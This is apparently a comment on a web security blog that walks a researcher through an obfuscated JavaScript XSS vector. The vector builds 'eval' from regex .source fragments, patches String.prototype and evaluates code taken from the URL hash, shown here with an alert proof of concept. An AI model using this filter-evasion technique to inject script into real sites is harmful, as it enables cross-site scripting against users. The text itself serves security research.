@Mario
Hi, Here is an explanation of the vector:
evil=/ev/.source+/al/.source
//---variable evil now contains string 'eval'
changeProto=/Strin/.source+
/g.prototyp/.source+
/e.ss=/.source+
/Strin/.source+
/g.prototyp/.source+
/e.substrin/.source+
/g/.source;
//--- changeProto now contains string 'String.prototype.ss=String.prototype.substring'
// Thus now ss is same as substring for any string
hashCod=/documen/.source+
/t.locatio/.source+
/n.has/.source+
/h/.source;
// hashCod now contains string 'document.location.hash'
7[evil](changeProto);
// In turn, the statement above executes eval(changeProto)
hash=7[evil](hashCod);
// In turn, the statement above executes hash=eval(hashCod)
// Thus hashCod now holds a string "#alert('Kishor Was Here!')"
cod=hash.ss(1);
// Since we added ss to String class, cod becomes = "alert('Kishor Was Here!')"
7[evil](cod);
// We use the eval to evaluate cod
In the link of the POC I needed to rename several things e.g. hash to hsh
Hope it was simple ;)
@Mario
When you write all this up, consider using word 'JavasCrypt' in the title
if it doesn't sound like a bad idea.
Web Application Security Journ(ey)al